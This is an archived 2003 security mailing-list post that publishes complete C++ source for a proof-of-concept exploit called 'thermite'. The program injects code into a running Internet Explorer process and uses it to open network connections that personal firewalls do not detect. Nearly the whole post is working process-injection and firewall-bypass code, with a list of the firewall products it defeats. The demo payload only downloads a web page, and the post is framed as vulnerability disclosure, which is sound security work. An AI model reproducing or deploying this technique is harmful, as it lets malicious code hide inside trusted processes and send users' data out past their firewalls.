Bypassing Personal Firewalls

From: xenophi1e (oliver.laveryat_private)
Date: Thu Feb 20 2003 - 16:35:41 PST

  • Next message: H C: "Re: Bypassing Personal Firewalls"

    
     ('binary' encoding is not supported, stored as-is)
    Hi,
    
    Here's a code snippet that injects code directly into a running process 
    without the need for a DLL etc. Demonstrates that process boundaries 
    under NT mean very little within the context of a given UID.
    
    This allows PFWs to be bypassed, as well as making it very easy to hide 
    running malicious code on a system. The example is a 'sploit that makes a 
    connection from within IE, and slips under the radar of all PFWs I've 
    tested.
    
    Having briefly discussed this with PFW vendors, it doesn't appear to be 
    much of a concern to them. I think it illustrates that OpenProcess, 
    ptrace, and the like should really enforce filesystem priviledges on the 
    processes they can modify.
    
    
    ///////////////////////////////////////////////////////////////////
    // fw_bypass.cpp | thermite.exe
    ///////////////////////////////////////////////////////////////////
    //
    // (C) 2003 Oliver Lavery
    //
    // This program establishes socket connections and transfers information 
    in a manner
    // which should be undetectable by all current personal firewall products.
    //
    // Tested on:
    //		Windows XP Professional SP1
    //		(should run on any NT variant)
    //
    // Known vulnerable:
    //		ZoneAlarm Pro 3.5 (all settings at highest)
    //		Zero-Knowledge Freedom Firewall
    //		Look'n'Stop 2.04
    //		Sygate Personal Firewall PRO (highest settings)
    //		Norton Personal Firewall 2003 (highest settings)
    //
    //		(should smoke 'em all)
    //
    
    ////
    // Compile me with VC++ 98. Other compilers may work.
    //
    // /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" 
    // /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c 
    // (no stack checking, no "catch release errors in debug", no incremental 
    linking.
    //  they all break stuff here)
    
    
    #define WIN32_LEAN_AND_MEAN		// Exclude rarely-used stuff from 
    Windows headers
    
    #include <windows.h>
    #include <winsock2.h>
    #include <tlhelp32.h>
    
    //////////// Injected Code.//////////////
    
    // This code is a bit funky. The idea here is to write C in such a way 
    that it is relocatable
    // in the strictest sense of the word (can be passed accross process 
    boundaries at run-time).
    // To do this the injected code has to contain no static references to 
    symbols that reside at 
    // a fixed memory address. Also this part of the code is incompatable 
    with incremental linking, 
    // and stack checking.
    //
    // There's really no advantage to doing this in C rather than assembly 
    other than the
    // fact that it's cool. I wanted to see if it would be feasible to inject 
    C code for other, 
    // bigger projects.
    
    
    // NB, please excuse the Hungarian notiation. I hate it too. When in 
    Rome...
    
    //User32
    typedef int	(__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText, 
    LPCTSTR lpCaption, UINT uType ); 
    //Wsock32
    typedef SOCKET (__stdcall *func_socket)( int, int, int );
    typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
    typedef u_short (__stdcall *func_htons)( u_short ); 
    typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr 
    FAR*, int );
    typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
    typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int 
    flags );
    typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested, 
    LPWSADATA lpWSAData ); 
     
    //Kernel32
    typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD, 
    LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE ); 
    typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD, 
    LPDWORD, LPOVERLAPPED ); 
    typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject ); 
    
    typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR ); 
    typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR ); 
    typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR ); 
     
    
    typedef struct _tag_inj_info {
    	func_GetModuleHandle GetModuleHandle; 
    	func_GetProcAddress GetProcAddress; 
    	func_LoadLibrary LoadLibrary;
    	char szRequest[128];
    	int  lRequest;
    	char szFile[255];
    	char szAddr[32];
    	char szErrCmnt1[64];
    	char szErrCmnt2[64];
    	char szErrTitle1[64];
    	char szErrTitle2[64];
    	char szErrTitle3[64];
    // module names
    	char szKernel32[32];
    	char szUser32[32];
    	char szWSock32[32];
    // func names
    	char szMessageBox[32];
    	char szSocket[32];
    	char szInet_Addr[32];
    	char szHtons[32];
    	char szConnect[32];
    	char szSend[32];
    	char szRecv[32];
    	char szCreateFile[32];
    	char szWriteFile[32];
    	char szCloseHandle[32];
    	char szWSAStartup[32];
    } inj_info ;
    
    
    // Calls to the stack-checking routine must be disabled.
    // VC++ doesn't always obey this pragma
    #pragma check_stack(off)
    
    // This function runs in IE's address space
    static DWORD WINAPI ThreadFunc( inj_info *info ) 
    {
    	HMODULE hKernel32, hWSock32, hUser32;
    
    	// User32
    	func_MessageBox l_MessageBox;
    
    	// Winsock2
    	func_WSAStartup l_WSAStartup;
    	func_socket l_socket;
    	func_inet_addr l_inet_addr;
    	func_htons l_htons; 
    	func_connect l_connect;
    	func_send l_send;
    	func_recv l_recv;
    	  
    	// Kernel32
    	func_CreateFile l_CreateFile; 
    	func_WriteFile l_WriteFile; 
    	func_CloseHandle l_CloseHandle; 
     
    	// locals for actual functionality
    	SOCKET s;
    	SOCKADDR_IN sa;
    	HANDLE outfile;
    	char buf[255];
    	DWORD count;
    	DWORD read, wrote, error;
    	BOOL needStartup;
    	WSADATA foo;
    	WORD wVersion;
    
    	count = 0;
    	wVersion = MAKEWORD( 2, 0 );
    	needStartup = FALSE;
    
    	// Dynamically bind API functions
    
    	hUser32 = info->GetModuleHandle( info->szUser32 );
    	if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
    >szUser32 );
    	if (hUser32 == NULL) return 0;
    	l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32, 
    info->szMessageBox );
    
    	hKernel32 = info->GetModuleHandle( info->szKernel32 );
    	if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
    >szKernel32 );
    	if (hKernel32 == NULL) {
    		l_MessageBox( NULL, info->szKernel32, info->szErrTitle3, 
    MB_OK );
    		return 0;
    	}
    	l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32, 
    info->szCreateFile );
    	l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32, 
    info->szWriteFile );
    	l_CloseHandle = (func_CloseHandle)info->GetProcAddress( 
    hKernel32, info->szCloseHandle );
    
    
    	hWSock32 = info->GetModuleHandle( info->szWSock32 );
    	if (hWSock32  == NULL) {
    		needStartup = TRUE;
    		hWSock32 = info->LoadLibrary( info->szWSock32 );
    	}
    	if (hWSock32  == NULL) {
    		l_MessageBox( NULL, info->szWSock32, info->szErrTitle3, 
    MB_OK );
    		return 0;
    	}
    	l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32, 
    info->szWSAStartup );
    	l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
    >szSocket );
    	l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32, 
    info->szInet_Addr );
    	l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
    >szHtons );
    	l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
    >szConnect );
    	l_send = (func_send)info->GetProcAddress( hWSock32, info-
    >szSend );
    	l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
    >szRecv );
    
    	// Ok. Do stuff.
    
    	if ( needStartup )
    	{
    		l_WSAStartup(2, &foo);
    	}
    	s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
    	
    	sa.sin_family = AF_INET;
    	sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
    	sa.sin_port = l_htons(80);
    
    	if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
    		outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0, 
    NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
    		if ( outfile != INVALID_HANDLE_VALUE ) {
    			l_send( s, info->szRequest, info->lRequest, 0);
    			while ( read = l_recv( s, buf, 255, 0 ) ) {
    				l_WriteFile( outfile, buf, read, &wrote, 
    NULL );
    			}
    			l_CloseHandle( outfile );
    		} else {
    			l_MessageBox( NULL, info->szErrCmnt1, info-
    >szErrTitle1, MB_OK );
    		}
    	} else {
    		l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2, 
    MB_OK );
    	}
    	return 0;
    	// XXX forgot to close the socket.
    }
    
    static void AfterThreadFunc (void) {
    }
    
    #pragma check_stack 
    
    ///////// "Normal" Code /////////////
    
    void ErrorNotify(DWORD err, char *title)
    {
    
    	LPVOID lpMsgBuf;
    
    	FormatMessage( 
    		FORMAT_MESSAGE_ALLOCATE_BUFFER | 
    FORMAT_MESSAGE_FROM_SYSTEM,
    		NULL,
    		err,
    		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default 
    language
    		(LPTSTR) &lpMsgBuf,
    		0,
    	    NULL 
    	);
    
    // Display the string.
    	MessageBox( NULL, (char *)lpMsgBuf, title, 
    MB_OK|MB_ICONINFORMATION );
    
    // Free the buffer.
    	LocalFree( lpMsgBuf );
    };
    
    // Bits of this function are from M$ Research's Detours library.
    // A great resource for ways to do 3vi1 stuff on windows, btw.
    static BOOL InjectExploit(HANDLE hProcess)
    {
    	BOOL fSucceeded = FALSE;
    
    	// The address where code will be copied to in the remote process.
    	PDWORD pdwCodeRemote = NULL;
    
    	// Calculate the number of bytes in the ThreadFunc function.
    	const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE) 
    ThreadFunc);
    
    	// The address where InjLibInfo will be copied to in the remote 
    process.
    	inj_info *pInjLibInfoRemote = NULL;
    
    	// The number of bytes written to the remote process.
    	DWORD dwNumBytesXferred = 0;
    
    	// The handle and Id of the thread executing the remote copy of 
    ThreadFunc.
    	DWORD dwThreadId = 0;
    	const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
    	HANDLE hThread = NULL;
    
    	DWORD dwOldProtect;
    
    	inj_info info = {
    // functions used to run-time link. (always at same addresses on windows)
    		NULL, // GetModuleHandle
    		NULL, // GetProcAddress
    		NULL, // LoadLibrary
    //// initialized data
    		"GET / HTTP/1.0\n\n\n",
    		strlen("GET / HTTP/1.0\n\n\n"),
    		"",
    		"205.206.231.12",
    		"Can't create file",
    		"Can't connect to securityfocus",
    		"File Error",
    		"Socket Error",
    		"Linking Error",
    // module names
    		"kernel32.dll",
    		"user32.dll",
    		"wsock32.dll",
    // func names
    		"MessageBoxA",
    		"socket",
    		"inet_addr",
    		"htons",
    		"connect",
    		"send",
    		"recv",
    		"CreateFileA",
    		"WriteFile",
    		"CloseHandle",
    		"WSAStartup"
    	};
    
    	GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
    	strcat( info.szFile, "\\securityfocus.html");
    
    	HMODULE hKernel32;
    	hKernel32 = GetModuleHandle( "kernel32.dll" );
    	info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress( 
    hKernel32, "GetModuleHandleA" );
    	info.GetProcAddress = (func_GetProcAddress)GetProcAddress( 
    hKernel32, "GetProcAddress" );
    	info.LoadLibrary = (func_LoadLibrary)GetProcAddress( 
    hKernel32, "LoadLibraryA" );
    
    	// Allocate memory in the remote process's address space large 
    	// enough to hold our ThreadFunc function and a inj_info 
    structure.
    	pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,
    									
    	   MEM_COMMIT | MEM_TOP_DOWN,
                                               PAGE_EXECUTE_READWRITE);
    	if (pdwCodeRemote == NULL) {
    		MessageBox( NULL, "IE not running. Please run IE, load a 
    page, and re-run this exploit.", "Can't find process", MB_OK);
    		ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
    		goto finish;
    	}
        
    	// Change the page protection of the allocated memory
    	// to executable, read, and write.
    	if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
    						  PAGE_EXECUTE_READWRITE, 
    &dwOldProtect)) {
    		ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
    		goto finish;
    	}
    
    	// Write a copy of ThreadFunc to the remote process.
    	if (!WriteProcessMemory(hProcess, pdwCodeRemote,
    							(LPVOID) 
    ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
    		ErrorNotify( GetLastError(), "WriteProcessMemory 
    Failed" );
    		goto finish;
    	}
    
    	// Write a copy of inj_info to the remote process
    	// (the structure MUST start on an even 32-bit boundary).
    	pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) + 
    ((cbCodeSize + 4) & ~3));
    
    	// Put inj_info in remote thread's memory block.
    	if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
    							&info, sizeof
    (info), &dwNumBytesXferred)) {
    		ErrorNotify( GetLastError(), "WriteProcessMemory2 
    Failed" );
    		goto finish;
    	}
    
        if ((hThread = CreateRemoteThread(hProcess, NULL, 65536, 
                                          (LPTHREAD_START_ROUTINE) 
    pdwCodeRemote,
                                          pInjLibInfoRemote, 0, &dwThreadId)) 
    == NULL) {
    	ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
            goto finish;
        }
            	
    	fSucceeded = TRUE;
    	
      finish:
    	if (hThread != NULL)
    		CloseHandle(hThread);
    
    	if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should 
    now contain the results of an HTTP request which in theory could have 
    transmitted your private information to a third party.\n"
    		"If you did not see a firewall warning, your firewall did 
    not detect the request and is vulnerable to this exploit."
    		, "Success", MB_OK );
    	return fSucceeded;
    }
    
    // There is no real reason to target IE, other than most users have it 
    running a lot, and it
    // is usually allowed to bypass PFWs. Note that using the same technique 
    it would be easy to inject
    // code to run a server inside another process as well, but IE is not 
    normally allowed to do this
    
    // XXX there are better ways to get a PID.
    DWORD GetIEProcessID( void )
    {
    	HANDLE hSnap;
    	PROCESSENTRY32 ppe;
    
    	hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    	ppe.dwSize = sizeof( PROCESSENTRY32 );
    	Process32First( hSnap, &ppe );
    	while ( 1 ) {
    		if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return 
    ppe.th32ProcessID;
    		if ( !Process32Next( hSnap, &ppe ) ) break;
    	}
    	CloseHandle( hSnap );
    	return FALSE;
    }
     
    
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
    	DWORD dwIE_PID = GetIEProcessID();
    	HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
    // XYZZY!
    	InjectExploit( hIE );
    	return 0;
    }
    



    This archive was generated by hypermail 2b30 : Fri Feb 21 2003 - 08:28:31 PST